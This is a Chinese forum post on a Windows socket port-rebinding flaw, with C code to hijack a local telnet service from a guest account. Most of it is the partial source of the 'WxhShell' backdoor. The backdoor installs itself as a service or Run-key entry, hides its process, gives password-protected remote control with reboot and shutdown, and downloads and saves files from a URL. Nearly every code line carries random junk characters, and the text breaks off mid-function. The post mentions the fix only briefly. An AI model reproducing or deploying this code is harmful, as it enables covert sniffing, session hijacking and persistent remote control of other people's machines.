社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18083阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fsH =2p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5*IfI+}  
yx&'W_Q@  
  saddr.sin_family = AF_INET; jk-e/C  
CF_pIfbaf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4;.y>~z  
iQJ[?l`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ouf91<n  
64w4i)?eM[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 & U6bOH%P  
)MlT=k6S  
  这意味着什么?意味着可以进行如下的攻击: w0!4@  
E[E7GsmqV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W&Pp5KR  
,sln0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QGpAG#M9?  
.uwD;j +#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !i77v, (#|  
+8~C&K:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4g}'/  
dyN Kok#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?O.1HEr  
k7\ ,N o}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @$ggPrs  
AHl1{* [  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [d}AlG!  
7GVI={ b  
  #include Vp~c$y+  
  #include OPP^n-iPr  
  #include ">D7wX,.>  
  #include    WjVj@oC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mf\eg`'4?  
  int main() GfMCHs   
  { TqN4OkCm/  
  WORD wVersionRequested; vk] vtjf&%  
  DWORD ret; z-X_O32  
  WSADATA wsaData; i6y$P6s  
  BOOL val; @ky<5r*JU(  
  SOCKADDR_IN saddr;  ]H_|E  
  SOCKADDR_IN scaddr; TEYn^/n~  
  int err; {'e%Hx  
  SOCKET s; T_=iJ: Q  
  SOCKET sc; ? j8S.d~  
  int caddsize; *%,{<C,Y  
  HANDLE mt; DpZO$5.Ec+  
  DWORD tid;   y_e$W3bON,  
  wVersionRequested = MAKEWORD( 2, 2 ); \8e27#PJR  
  err = WSAStartup( wVersionRequested, &wsaData ); (;.wsz &K  
  if ( err != 0 ) { cN(Toj'`  
  printf("error!WSAStartup failed!\n"); W$bQS!7y  
  return -1; H$o=kQN  
  } {Z^  G]@  
  saddr.sin_family = AF_INET; [;n/|/m,  
   r(Vz(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m}oqs0xx  
GZ@`}7b}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;ZVT[gi*  
  saddr.sin_port = htons(23); 'gQ0=6(\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K6s%=.Zi(  
  { |>U:Pb(  
  printf("error!socket failed!\n"); 0`D` Je<t  
  return -1; 01^+HEbm  
  } ]/klKqz  
  val = TRUE; ~?#B(t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +91j 1?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VvSe`E*  
  { *eLKD_D`!C  
  printf("error!setsockopt failed!\n"); X@ j.$0 eK  
  return -1; k6b0&il  
  } @V>BG8Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jFr[T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d%wy@h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bh&Wy<Y  
8M,AFZ>F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :psP|7%|  
  { ?n0Z4 8%  
  ret=GetLastError(); l1?$quM^V  
  printf("error!bind failed!\n"); `{GI^kgJ9  
  return -1; ^KRe(  
  } *@1(!A  
  listen(s,2); V@C8HTg  
  while(1) k/;%{@G)  
  { K\3N_ztu  
  caddsize = sizeof(scaddr); PDi]zp9>H  
  //接受连接请求 xB<^ar  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q<Sb>M/\,  
  if(sc!=INVALID_SOCKET) NZW)$c'  
  { .%x%b6EI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :Ou[LF.O  
  if(mt==NULL) b:6NVHb%  
  { f2f2&|7  
  printf("Thread Creat Failed!\n"); (.Th?p%>7  
  break; Am @o}EC  
  } Xvr7qowL  
  } 4v?}K   
  CloseHandle(mt); pcrarj  
  } n;+`%;6  
  closesocket(s); ^S%xaA9  
  WSACleanup(); j2GTo~muq  
  return 0; rQb=/@-  
  }   XTro;R=#  
  DWORD WINAPI ClientThread(LPVOID lpParam) _yN&+]c  
  { hq|I%>y  
  SOCKET ss = (SOCKET)lpParam; hzcSKRm  
  SOCKET sc; L%Mj{fJ>Wm  
  unsigned char buf[4096]; Krw'|<  
  SOCKADDR_IN saddr; 1&.q#,EMn(  
  long num; -2/&i  
  DWORD val; p-o8Ctc?V  
  DWORD ret; V7}]39m(s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =73aME}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fuQk}OW{  
  saddr.sin_family = AF_INET; Hq;*T3E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); UrRYK-g  
  saddr.sin_port = htons(23); q*'-G]tH=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \~BYY|UB;W  
  { r >;(\_@  
  printf("error!socket failed!\n"); \WPy9kRU  
  return -1; gCL?{oVU  
  } S\dG>F>S  
  val = 100; B{ hV|2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4o69t  
  { ]]^r)&pox  
  ret = GetLastError(); F(DM$5z[  
  return -1; ]]eI80u[  
  } |QHIB?C?`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \`oP\|Z  
  { s/\<;g:u^  
  ret = GetLastError(); me+u"G9I;  
  return -1; m8Y>4:Nw  
  } Y~Z&h?H'}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qF3s&WI  
  { K0'= O  
  printf("error!socket connect failed!\n"); TR&7AiqB  
  closesocket(sc); ZuNUha&a  
  closesocket(ss); 9  M90X8  
  return -1; [U@ ;EeS  
  } yW]>v>l:Eg  
  while(1) H g04pZupN  
  { U9Gg#M4tY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vtw97G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @ *&`1  
  num = recv(ss,buf,4096,0); !%/2^  
  if(num>0) G{u(pC^  
  send(sc,buf,num,0); !IC@^kkh{  
  else if(num==0) $[U:Dk}  
  break; O^DLp/vM  
  num = recv(sc,buf,4096,0); fi  
  if(num>0) iit 5IV  
  send(ss,buf,num,0); t3<HE_B|  
  else if(num==0) kk$D:UQX  
  break; ^ ~kfo|  
  } 9|l6.$Me/  
  closesocket(ss); pebNE3`#  
  closesocket(sc); IO{iQ-Mg  
  return 0 ; )CoJ9PO7  
  } TdL/tg!  
2v{42]XYf  
wJg&OQc9  
========================================================== C {G647  
l(Y\@@t1  
下边附上一个代码,,WXhSHELL X3j|J/  
S76x EL  
========================================================== 1B`JvNtd  
xzb{g,c   
#include "stdafx.h" ^0(`:*  
r"W<1H u  
#include <stdio.h> &\W5|*`x-  
#include <string.h> `,s0^?_  
#include <windows.h> iUq{c+h  
#include <winsock2.h> H)pB{W/  
#include <winsvc.h> asL!@YE  
#include <urlmon.h> rU_FRk  
*fp4u_:`  
#pragma comment (lib, "Ws2_32.lib") mMtva}=*  
#pragma comment (lib, "urlmon.lib") ~EO=;a_  
&`}ACTY'P  
#define MAX_USER   100 // 最大客户端连接数 -ze@~Z@  
#define BUF_SOCK   200 // sock buffer ?MD\\gN  
#define KEY_BUFF   255 // 输入 buffer oR}'I  
q]DE\*@  
#define REBOOT     0   // 重启 A&`7 l5~X  
#define SHUTDOWN   1   // 关机 +K61-Div  
kYu"`_n}  
#define DEF_PORT   5000 // 监听端口 fvM|Jb  
2l}3L  
#define REG_LEN     16   // 注册表键长度 fH 0&Wc3yC  
#define SVC_LEN     80   // NT服务名长度 ;|.IUXEgcF  
\SA$:^zO  
// 从dll定义API x<>In"QV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lt|UehJ F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LLJsBHi-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~c|{PZ9U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !;B^\ 8{  
|\/V1  
// wxhshell配置信息 5uD'Kd$H  
struct WSCFG { ''wF%q  
  int ws_port;         // 监听端口 i]IZ0.?Y  
  char ws_passstr[REG_LEN]; // 口令 $-lP"m@}  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZJ}|t  
  char ws_regname[REG_LEN]; // 注册表键名 ^vr`t9EE  
  char ws_svcname[REG_LEN]; // 服务名 r8vF I6J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bS*oFm@u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r&D&xsbQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gu\lV c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QW6\~l 4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6Ej@;]^^-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2w67 >w\  
84YZT+TEN  
}; $jNp-5+Q;  
n##d!d|g  
// default Wxhshell configuration |d=MX>i|G  
struct WSCFG wscfg={DEF_PORT, APY*SeI V  
    "xuhuanlingzhe", ~ H $q  
    1, Uv(Uj3D  
    "Wxhshell",  ^6Y:9+  
    "Wxhshell", S`&YY89{&  
            "WxhShell Service", 4&^BcWqA*f  
    "Wrsky Windows CmdShell Service", (ZHEPN  
    "Please Input Your Password: ", r$z0C&5  
  1, 9`v[Jm% $m  
  "http://www.wrsky.com/wxhshell.exe", Avi8&@ya  
  "Wxhshell.exe" Wf:I 0  
    }; O)9{qU:[b  
VH5Vg We  
// 消息定义模块 /WE1afe_R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l} UOg   
char *msg_ws_prompt="\n\r? for help\n\r#>"; K;#9: Z^+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  XV*uu "F  
char *msg_ws_ext="\n\rExit."; tS&rR0<OW  
char *msg_ws_end="\n\rQuit."; d=8q/]_p  
char *msg_ws_boot="\n\rReboot..."; u7kw/_f  
char *msg_ws_poff="\n\rShutdown..."; oN " /w~  
char *msg_ws_down="\n\rSave to "; tQrkRg(E:  
xbhU:,o  
char *msg_ws_err="\n\rErr!"; Oa|'wh ug  
char *msg_ws_ok="\n\rOK!";  QKtTy>5  
k-a3oLCR,  
char ExeFile[MAX_PATH]; ,1&</R_  
int nUser = 0; -%t2_g,  
HANDLE handles[MAX_USER]; _ya_Jf*  
int OsIsNt; 'hl4cHk14  
J,j!  
SERVICE_STATUS       serviceStatus; 1VC:o]$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -% Z?rn2  
2^C>orKQ0  
// 函数声明 `+O7IyTM A  
int Install(void); q+Cq&|4 ?2  
int Uninstall(void); %#,EqN  
int DownloadFile(char *sURL, SOCKET wsh); }0?\H)/edP  
int Boot(int flag); B M$+r(#t  
void HideProc(void); o `N /w  
int GetOsVer(void); &o$Pwk\p/  
int Wxhshell(SOCKET wsl); enJgk(  
void TalkWithClient(void *cs); 6!^&]4  
int CmdShell(SOCKET sock); smN |r  
int StartFromService(void); #DFfySH)A  
int StartWxhshell(LPSTR lpCmdLine); OFe?T\dQn  
aZ{]t:]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zVU{jmS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dCkk5&2n  
/vLdm-4  
// 数据结构和表定义 D!d1%hac  
SERVICE_TABLE_ENTRY DispatchTable[] = 2[qlEtvQ  
{ Xv'5%o^i*  
{wscfg.ws_svcname, NTServiceMain}, *eonXJYD  
{NULL, NULL} Juqe%he`  
}; 8Cw+<A*  
U%nLo[k  
// 自我安装 }{.0mu9  
int Install(void) a2'f#[as  
{ b qNM  
  char svExeFile[MAX_PATH]; Dw6mSsC/  
  HKEY key; _wKaFf  
  strcpy(svExeFile,ExeFile); 3.?kxac  
ht 1d[  
// 如果是win9x系统,修改注册表设为自启动 UfWn\*J&k  
if(!OsIsNt) { O>H'o k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l mRd l>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s35`{PR  
  RegCloseKey(key); aX$Q}mgb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3EN(Pz L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K7CrRT3>6  
  RegCloseKey(key); p\ }Ep  
  return 0; vz-O2B_u  
    } byTTLs,}d  
  } ,=@%XMS  
} ?|;q=p`t-  
else { :]hNw1e  
#7}1W[y9}l  
// 如果是NT以上系统,安装为系统服务 L d;))e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qXw^y  
if (schSCManager!=0) Ob#d;F  
{ uVn"'p-  
  SC_HANDLE schService = CreateService OmR) W'  
  ( ]'iOV-2^'  
  schSCManager, exHg<18WSe  
  wscfg.ws_svcname, y]e[fZ`L  
  wscfg.ws_svcdisp, R ]! [h  
  SERVICE_ALL_ACCESS, -)p S\$GC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rV0X*[]J>  
  SERVICE_AUTO_START, Oe/\@f0bLT  
  SERVICE_ERROR_NORMAL, ' M'k$G@Z  
  svExeFile, -FGQn |h4  
  NULL, n+XLZf#  
  NULL, _vV3A3|Ec,  
  NULL, Qmg2lP.)  
  NULL, ^f%hhpV@  
  NULL Sb& $xWL  
  ); y9xvGr[l  
  if (schService!=0) >3Mzs AH\  
  { Y%1 94fY$  
  CloseServiceHandle(schService); -0>gq$/N=^  
  CloseServiceHandle(schSCManager); +338z<'Z!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }@XokRk  
  strcat(svExeFile,wscfg.ws_svcname); ~>"m`Q&[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zvgy$]y'\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~]_U!r[FA  
  RegCloseKey(key); Ump$N#  
  return 0; #@3& 1 }J/  
    } : [r/ Y  
  } nR(v~_y[V  
  CloseServiceHandle(schSCManager); ls*bCe  
} !JGe .U5  
} lPaTkZw  
CVt:tV  
return 1; ^kO+NH40  
} {gkzo3  
LN0pC }F  
// 自我卸载 y<5RV>"Vg  
int Uninstall(void) Rl/5eE8  
{ 5w+KIHhN|  
  HKEY key; tg%#W `  
@/,:". SM  
if(!OsIsNt) { {KGEv%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { je`Ysben  
  RegDeleteValue(key,wscfg.ws_regname); 0;Oe&Y  
  RegCloseKey(key); S T1V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QHDR* tB:{  
  RegDeleteValue(key,wscfg.ws_regname); 6Lc{SR  
  RegCloseKey(key); yt@7l]I  
  return 0; cTJi8f=g  
  } \5iMr[s  
} RH}i=  
} mfqnRPZ  
else { ;0vCZaEF  
\]8 F_K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NHL9qL"qk  
if (schSCManager!=0) .sCj3sX*  
{ VtN1 [}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Cvp!(<<gK  
  if (schService!=0) ZccvZl ;b  
  { 9?XQB%44  
  if(DeleteService(schService)!=0) { xWnOOE$i  
  CloseServiceHandle(schService); xt&4]M V  
  CloseServiceHandle(schSCManager); H[_i=X3-~  
  return 0; ?:42jp3  
  } T!7B0_  
  CloseServiceHandle(schService); )! eJW(  
  } AxtmG\o>  
  CloseServiceHandle(schSCManager); D){my_ /  
} "qrde4O  
} S"4eS,5L|  
@xXVJWEU:  
return 1; nZ'-3  
} awv$ }EFo  
`FGYc  
// 从指定url下载文件 {sfA$ d0  
int DownloadFile(char *sURL, SOCKET wsh) vh#81}@N7*  
{ ZuFcJ?8i  
  HRESULT hr; ZXIw^!8@/  
char seps[]= "/"; GoLK 95"]  
char *token; d%za6=M  
char *file; ~].?8C.>*  
char myURL[MAX_PATH]; bu9.Hv T'  
char myFILE[MAX_PATH]; z"97AXu  
} J[Z)u  
strcpy(myURL,sURL); c'.XC}  
  token=strtok(myURL,seps); >qz#&  
  while(token!=NULL) "Ccyj/  
  { V3>tW,z  
    file=token; s IFE:/1,  
  token=strtok(NULL,seps); ;1HzY\d%<  
  } `*l aUn  
*`q?`#1&&.  
GetCurrentDirectory(MAX_PATH,myFILE); \xlG3nz  
strcat(myFILE, "\\"); 9=mc3m:Tb(  
strcat(myFILE, file); EE^x34&=  
  send(wsh,myFILE,strlen(myFILE),0); gYCr,-_i  
send(wsh,"...",3,0); mqj-/DN6*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5X f]j=_  
  if(hr==S_OK) s+?2oPa  
return 0; 1<Sg@  
else "[eH|z/  
return 1; /w1M%10   
egvb#:zW?  
} g)5mr:\  
jsQHg2Vd  
// 系统电源模块 ?ac4GA(  
int Boot(int flag) vK%*5  
{ lm6hFvEZ  
  HANDLE hToken; o{6q>Jm  
  TOKEN_PRIVILEGES tkp; 8IA1@0n&  
drMMf[  
  if(OsIsNt) { R8cOb*D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $&=xw _  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -OSj<m<  
    tkp.PrivilegeCount = 1; D#G%WT/"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +SR{ FF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b8e\(Dww  
if(flag==REBOOT) { #1/~eIEY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =gs-#\%  
  return 0; Z,/K$;YWo  
} MoE&)~0u&  
else { ;F#(:-:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r=&,2meo  
  return 0; K Ax=C}9  
} KW(a@X  
  } HeO:=OE~>  
  else { h7 E~I J  
if(flag==REBOOT) { 0_eqO'"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :{#O   
  return 0; 4WJY+)  
} `Bw]PO  
else { 1vxRhS&FY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZRG Cy5Rk  
  return 0; ?0_<u4  
} W;'fAohr  
} HMCLJ/  
 <@<bX  
return 1; R>* z8n  
} }! EVf  
4 kjfYf@A  
// win9x进程隐藏模块 I@MG ?ZQ  
void HideProc(void) K9lekevB  
{ DxV=S0P  
&h0LWPl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $ ]s^M=8  
  if ( hKernel != NULL ) ~=*o  
  { /@F'f@;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /[<F f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F(yR\)!C  
    FreeLibrary(hKernel); n@8Y6+7i  
  } WM'!|lg  
V 9Qt;]mQ  
return; c,xdkiy3  
} y#j7vO  
5c` ;~  
// 获取操作系统版本 fAgeF$9@  
int GetOsVer(void) Jy)=TJ!y  
{ Y"H`+UV  
  OSVERSIONINFO winfo; |%C2 cx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t1Fqq4wRi  
  GetVersionEx(&winfo); 2y - QH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8Yh'/,o=L#  
  return 1; rGP;0KtQ  
  else DK74s  
  return 0; ?6CLUu|7n  
} t`Kpbfk  
EB}B75)x  
// 客户端句柄模块 YVMvT>/,  
int Wxhshell(SOCKET wsl) ,)1C"'  
{ &<N8d(  
  SOCKET wsh; : :>|[ND  
  struct sockaddr_in client; },8|9z#pyB  
  DWORD myID; gw)4P tb!  
G}8tFo. d1  
  while(nUser<MAX_USER) yv4x.cfI2W  
{ K1 "HJsj  
  int nSize=sizeof(client); AkQ(V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s9ix&m  
  if(wsh==INVALID_SOCKET) return 1; h-96 2(LG  
JKZVd`fF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L<!h3n  
if(handles[nUser]==0) v WXo#  
  closesocket(wsh); ';3>rv_  
else N|yA]dg[  
  nUser++; y~+LzDV  
  } @@D/&}#F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -s 0SQe{!_  
{'{}@CuA2  
  return 0; u&l;\w  
} PA^*|^;Xh  
o DZZ  
// 关闭 socket :zU4K=kR  
void CloseIt(SOCKET wsh) c,r6+oX  
{ >V^8<^?G  
closesocket(wsh); t\/H.Hb  
nUser--; DghyE`  
ExitThread(0); x<l 5wh  
} 5$U49j  
l-XfUjJ  
// 客户端请求句柄 . V!5Ui<  
void TalkWithClient(void *cs) dzIBdth  
{ (Mfqzy  
":eyf 3M  
  SOCKET wsh=(SOCKET)cs; MEI&]qI  
  char pwd[SVC_LEN]; {Vu=qNx  
  char cmd[KEY_BUFF]; z"< S$sDh  
char chr[1]; 570ja7C:  
int i,j; @lzq`SzM  
efyEzL  
  while (nUser < MAX_USER) { bmHj)^v 5]  
CRo @+p10  
if(wscfg.ws_passstr) { w?D=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oyb9 ql^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :30daKo  
  //ZeroMemory(pwd,KEY_BUFF); LiEEQ  
      i=0; IYe[IHny1  
  while(i<SVC_LEN) { (Tq)!h35B  
:LuA6  
  // 设置超时 VN-0hw/A  
  fd_set FdRead; p!E*A NwX  
  struct timeval TimeOut; |3k r*#  
  FD_ZERO(&FdRead); <e Y2}Ml  
  FD_SET(wsh,&FdRead); WDnNVE  
  TimeOut.tv_sec=8; c CjN8<  
  TimeOut.tv_usec=0; G9S3r3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .&u @-Vm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uaD+G:{ [  
K z^.v`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &#C|  
  pwd=chr[0]; hAgrs[OFj  
  if(chr[0]==0xd || chr[0]==0xa) { a"cw%L  
  pwd=0; E\2f"s  
  break; r{~b4~kAf5  
  } [g==#[  
  i++;  <}^p5|  
    } P{RGW.Ci@  
Y;\@ 5TgQ,  
  // 如果是非法用户,关闭 socket >8NUji2I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;Zf7|i`R3  
} "SuG6!k3  
r{* Qsaw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .Z`xNp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KsTE)@ F:  
f. h3:_r  
while(1) { "MPS&OK  
U+-;(Fh~  
  ZeroMemory(cmd,KEY_BUFF); a U<+ `  
zl, Vj%d  
      // 自动支持客户端 telnet标准   ZRGe$HaU  
  j=0; t[HsqnP  
  while(j<KEY_BUFF) { aYtW!+#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p=[I;U-#H  
  cmd[j]=chr[0]; n-?zH:]GG{  
  if(chr[0]==0xa || chr[0]==0xd) { D7IhNWrgj  
  cmd[j]=0; RdjoVCf  
  break; iYW<qgz  
  } ?:5/4YC  
  j++; nh+h3"-d  
    } dF&@q,  
eOb)uIF  
  // 下载文件 u3cl7~- yW  
  if(strstr(cmd,"http://")) { t ,EMyZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X2 <fS~m  
  if(DownloadFile(cmd,wsh)) 7 /" Z/^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9*s:Vff{  
  else (76tYt~I=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OJFWmZ(X  
  } zq$0 ?vGd  
  else { %4wHiCOg  
j\@&poJ(,  
    switch(cmd[0]) { LCSJIt  
  M3fTU CR  
  // 帮助 Tkj F /zv  
  case '?': { 02[*b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @6y)wA9Yx  
    break; 2H1?f|0>  
  } 5z.Y}  
  // 安装 :c:}_t{%  
  case 'i': { yx<-M  
    if(Install()) }'p*C$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .;dI&0Z  
    else ; Yt'$D*CP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c&g*nDuDj  
    break; FW4#/H  
    } +WCV"m  
  // 卸载 #Fh:z4  
  case 'r': { \O*W/9 +  
    if(Uninstall()) [1e/@eC5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4=njM`8Y'  
    else s+0S,?{$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rz<'& Z>;  
    break; 1/=6s5vS}  
    } ,C^u8Z|T  
  // 显示 wxhshell 所在路径 ?{1& J9H  
  case 'p': { ^HWa owy=  
    char svExeFile[MAX_PATH]; 2t3)$\ylQp  
    strcpy(svExeFile,"\n\r"); lgefTT GX)  
      strcat(svExeFile,ExeFile); );xTl6Y9  
        send(wsh,svExeFile,strlen(svExeFile),0); cZ ,}1?!  
    break; i&L!?6 5-f  
    } MwD8a<2Dg  
  // 重启 Y";K WA}b  
  case 'b': { Ee{Y1W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <@>l9_=R  
    if(Boot(REBOOT)) M ~6 $kT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r rs0|=  
    else { U ?6.UtNf  
    closesocket(wsh); S0lt _~  
